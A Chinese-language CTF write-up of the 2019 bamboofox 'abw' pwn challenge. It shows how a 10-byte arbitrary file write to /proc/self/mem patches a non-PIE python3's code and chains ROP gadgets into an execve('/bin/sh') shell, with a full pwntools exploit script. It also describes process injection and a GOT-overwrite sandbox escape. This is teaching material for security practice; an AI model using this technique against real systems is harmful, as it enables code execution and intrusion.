在2019年的bamboofox CTF
我做到了一道非传统的pwn题,之后队友在做一道沙箱逃逸
题目的时候也用到了相同的技巧,并找到了原型题目,由于后者已经有详细的题解,本文不再展开过多细节,后面会放参考链接供大家学习。
题目给了一个压缩包,里面有Dockerfile
以及docker-compose.yml
让选手搭建本地环境,其中Dockerfile
内容如下:
FROM ubuntu:18.04 MAINTAINER Billy RUN apt-get update RUN apt-get upgrade -y RUN apt-get install xinetd -y RUN apt-get install python3 -y RUN useradd -m abw COPY ./share /home/abw COPY ./xinetd /etc/xinetd.d/abw COPY ./flag /home/abw/flag RUN chmod 774 /tmp RUN chmod -R 774 /var/tmp RUN chmod -R 774 /dev RUN chmod -R 774 /run RUN chmod 1733 /tmp /var/tmp /dev/shm RUN chown -R root:root /home/abw CMD ["/usr/sbin/xinetd","-dontfork"]
docker-compose.yml
内容如下,可以看到是开放12345
端口监听abw
服务
abw: build: ./ environment: - OLDPWD=/home - XDG_RUNTIME_DIR=/run/user/1000 - LESSOPEN=| /usr/bin/lesspipe %s - LANG=en_US - SHLVL=1 - SHELL=/bin/bash - FLAG=/ - ROOT=/ - TCP_PORT=12345 - PORT=12345 - X_PORT=12345 - SERVICE=abw - XPC_FLAGS=0x0 - TMPDIR=/tmp - RBENV_SHELL=bash ports: - "12345:12345" expose: - "12345"
xinetd
文件创建了一个服务
service abw { disable = no type = UNLISTED wait = no server = /home/abw/run.sh socket_type = stream protocol = tcp user = abw port = 12345 flags = REUSE per_source = 5 rlimit_cpu = 3 nice = 18 }
`run.sh
文件实际上是执行/home/abw/abw
exec 2> /dev/null timeout 60 /home/abw/abw
而这个文件实际上是一些代码,代码的解释器为python3
,这里为了方便调试我直接在docker里把python3
拷贝了出来并重命名为py3_remote
#./py3_remote print( "Write File") filename = input("File Name :") with open(filename,"wb") as file: seek = int(input("Seek :")) file.seek(seek) file.write(bytes.fromhex(input("Data (hex):")[:20]))
至此我们已经找到了核心的程序逻辑,即给我们10字节
写任意文件任意offset
的机会,之后程序结束。这里我们写入的对象就是今天要介绍的/proc/self/mem
,/proc
顾名思义是存储进程相关的文件的目录,/proc/$pid/
存储的是进程号为pid
的进程的相关文件。/proc/self/
存储的是同本进程相关的文件。
这里引用百度百科比较权威的解释
proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ ll /proc/self/ total 0 dr-xr-xr-x 9 wz wz 0 2月 18 15:16 ./ dr-xr-xr-x 371 root root 0 2月 18 14:32 ../ -r--r--r-- 1 wz wz 0 2月 18 15:16 arch_status dr-xr-xr-x 2 wz wz 0 2月 18 15:16 attr/ -rw-r--r-- 1 wz wz 0 2月 18 15:16 autogroup -r-------- 1 wz wz 0 2月 18 15:16 auxv -r--r--r-- 1 wz wz 0 2月 18 15:16 cgroup --w------- 1 wz wz 0 2月 18 15:16 clear_refs -r--r--r-- 1 wz wz 0 2月 18 15:16 cmdline -rw-r--r-- 1 wz wz 0 2月 18 15:16 comm -rw-r--r-- 1 wz wz 0 2月 18 15:16 coredump_filter -r--r--r-- 1 wz wz 0 2月 18 15:16 cpuset lrwxrwxrwx 1 wz wz 0 2月 18 15:16 cwd -> /home/wz/Desktop/CTF/bamboofox/abw/release/share/ -r-------- 1 wz wz 0 2月 18 15:16 environ lrwxrwxrwx 1 wz wz 0 2月 18 15:16 exe -> /bin/ls* dr-x------ 2 wz wz 0 2月 18 15:16 fd/ dr-x------ 2 wz wz 0 2月 18 15:16 fdinfo/ -rw-r--r-- 1 wz wz 0 2月 18 15:16 gid_map -r-------- 1 wz wz 0 2月 18 15:16 io -r--r--r-- 1 wz wz 0 2月 18 15:16 limits -rw-r--r-- 1 wz wz 0 2月 18 15:16 loginuid dr-x------ 2 wz wz 0 2月 18 15:16 map_files/ -r--r--r-- 1 wz wz 0 2月 18 15:16 maps -rw------- 1 wz wz 0 2月 18 15:16 mem -r--r--r-- 1 wz wz 0 2月 18 15:16 mountinfo -r--r--r-- 1 wz wz 0 2月 18 15:16 mounts -r-------- 1 wz wz 0 2月 18 15:16 mountstats dr-xr-xr-x 5 wz wz 0 2月 18 15:16 net/ dr-x--x--x 2 wz wz 0 2月 18 15:16 ns/ -r--r--r-- 1 wz wz 0 2月 18 15:16 numa_maps ...
这里有两个做题常见到的文件,一个是/proc/self/maps
,其存储了本进程的虚拟地址信息(如下图是/bin/cat
的进程地址信息)
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ cat /proc/self/maps 559bcc7cb000-559bcc7d3000 r-xp 00000000 08:01 3145753 /bin/cat 559bcc9d2000-559bcc9d3000 r--p 00007000 08:01 3145753 /bin/cat 559bcc9d3000-559bcc9d4000 rw-p 00008000 08:01 3145753 /bin/cat 559bce338000-559bce359000 rw-p 00000000 00:00 0 [heap] 7fb685a8b000-7fb68645a000 r--p 00000000 08:01 4463216 /usr/lib/locale/locale-archive 7fb68645a000-7fb686641000 r-xp 00000000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so 7fb686641000-7fb686841000 ---p 001e7000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so 7fb686841000-7fb686845000 r--p 001e7000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so 7fb686845000-7fb686847000 rw-p 001eb000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so 7fb686847000-7fb68684b000 rw-p 00000000 00:00 0 7fb68684b000-7fb686872000 r-xp 00000000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so 7fb686a37000-7fb686a5b000 rw-p 00000000 00:00 0 7fb686a72000-7fb686a73000 r--p 00027000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so 7fb686a73000-7fb686a74000 rw-p 00028000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so 7fb686a74000-7fb686a75000 rw-p 00000000 00:00 0 7ffd04a30000-7ffd04a51000 rw-p 00000000 00:00 0 [stack] 7ffd04a81000-7ffd04a84000 r--p 00000000 00:00 0 [vvar] 7ffd04a84000-7ffd04a85000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
另一个就是/proc/self/mem
,这个虚拟文件是进程空间映射出来的,大家可以理解成这个文件和进程对应的静态二进制文件是关联且对应的,对这个文件进行写将改变进程的内存空间。具体地,如果我们在文件的offset
偏移处写val
,则进程的虚拟地址offset
处的内容也被更改为val
。如果offset
为.text
段的一个合法地址addr
,则这个地址的代码就被更改为disasm(val)
。
这两个文件还可以用于进程注入,具体可以参考无需Ptrace就能实现Linux进程间代码注入
查看一下python3
的保护机制发现没有PIE
,因此我们可以修改进程的代码段。
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ checksec ./py3_remote [*] '/home/wz/Desktop/CTF/bamboofox/abw/release/share/py3_remote' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
IDA看一下python3
的代码,其大概流程是为代码分配空间->对代码进行解码->交予Py_Main
执行->释放内存空间->程序结束。鉴于我们只有10字节可写,我们第一步是寻找一个合适的地方注入gadgets扩大读更多的gadgets。这个地址须得是程序一定能执行到的地方,我们从程序的结束部分开始找,发现在0x4B0F71
是main
函数收尾的地方。
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ebp __int64 v4; // r13 __int64 v5; // rax __int64 v6; // r12 char *v7; // rax const char *v8; // r15 __int64 v9; // rbx __int64 v10; // rax __int64 v11; // rax const char *v12; // rdi __int64 v13; // r15 int v14; // er14 __int64 v15; // rdi v3 = argc; PyMem_SetupAllocators("malloc"); v4 = PyMem_RawMalloc(8LL * (argc + 1)); v5 = PyMem_RawMalloc(8LL * (argc + 1)); if ( v4 && (v6 = v5) != 0 && (v7 = setlocale(6, 0LL), (v8 = (const char *)PyMem_RawStrdup(v7)) != 0LL) ) { v9 = 0LL; setlocale(6, &locale); while ( argc > (signed int)v9 ) { v10 = Py_DecodeLocale((__int64)argv[v9], 0LL); *(_QWORD *)(v4 + 8 * v9) = v10; if ( !v10 ) { v14 = 1; PyMem_RawFree(v8); __fprintf_chk(stderr, 1LL, "Fatal Python error: unable to decode the command line argument #%i\n"); return v14; } *(_QWORD *)(v6 + 8 * v9++) = v10; } v11 = argc; *(_QWORD *)(v4 + 8 * v11) = 0LL; *(_QWORD *)(v6 + 8 * v11) = 0LL; setlocale(6, v8); v12 = v8; v13 = 0LL; PyMem_RawFree(v12); v14 = Py_Main(v3, v4); PyMem_SetupAllocators("malloc"); while ( v3 > (signed int)v13 ) { v15 = *(_QWORD *)(v6 + 8 * v13++); PyMem_RawFree(v15); } PyMem_RawFree(v4); PyMem_RawFree(v6); } else { v14 = 1; __fprintf_chk(stderr, 1LL, "out of memory\n"); } return v14; } /* loc_4B0F71: add rsp, 18h mov eax, r14d pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 retn */
在gdb调试看一下(r之后ctrl+d进入结束部分)
gdb ./py3_remote
set arch i386:x86-64:intel
b* 0x4b0f71
r
单步执行发现到0x4b0f80
栈顶为0
,我们的目的是调用read(0,rsp,sz)
,rdi
可以在此处pop 0进去,另外r12
是一个不错的较大的整数可以赋值给rdx
,因此可以在这里进行代码注入,注入的第一段汇编如下,读取第二段rop chain
之后ret
触发执行我们的代码即可get shell。
pop rdi mov rsi, rsp mov rdx, r12 syscall ret
第一次代码注入后调用情况如下
#coding=utf-8 from pwn import * context.update(arch='amd64',os='linux',log_level="DEBUG") context.terminal = ['tmux','split','-h'] p = process("./abw") elf = ELF('./python3.6') p_rdi = 0x0000000000421872 p_rsi = 0x000000000042159a p_rdx = 0x00000000004026c1 p_rax = 0x0000000000421095 syscall = 0x4b0f87 def exp(): gdb.attach(p,'b* 0x4b0f78') data = asm(''' pop rdi mov rsi, rsp mov rdx, r12 syscall ret ''').encode('hex') offset = 0x4b0f80 p.sendlineafter(" :", "/proc/self/mem") p.sendlineafter(" :", str(offset)) p.sendlineafter(":", data) raw_input() #read more bss_base = elf.bss() gadets = [ p_rdi,0, p_rsi,bss_base, p_rdx,0x8, p_rax,0, syscall, p_rdi,bss_base, p_rsi,0, p_rdx,0, p_rax,59, syscall ] gadets = flat(gadets) p.send(gadets) raw_input() p.send("/bin/sh\x00") p.interactive() exp()
这道题目是一道python沙箱逃逸题目
,我们在能够控制stdout
的情况下可以实现任意文件读写,这里博主的做法是通过/proc/self/mem
覆盖fopen@got
为system
,这样在open('file_name')
的时候可以通过修改文件名执行任意命令,具体可以参考下文。
"PlaidCTF 2014 'nightmares' (Pwnables 375) writeup"
/proc/self/maps
和/proc/self/mem
作为两个系统映射的虚拟文件存储了进程相关的重要信息,读取前者可以获取进程的所有段的基地址,修改后者相当于可修改只读的代码段内容实现进程注入
,相关的题目除了本文提到的两道题外还有2018年全国大学生信息安全竞赛的task_house
,有兴趣的大佬可以做一下。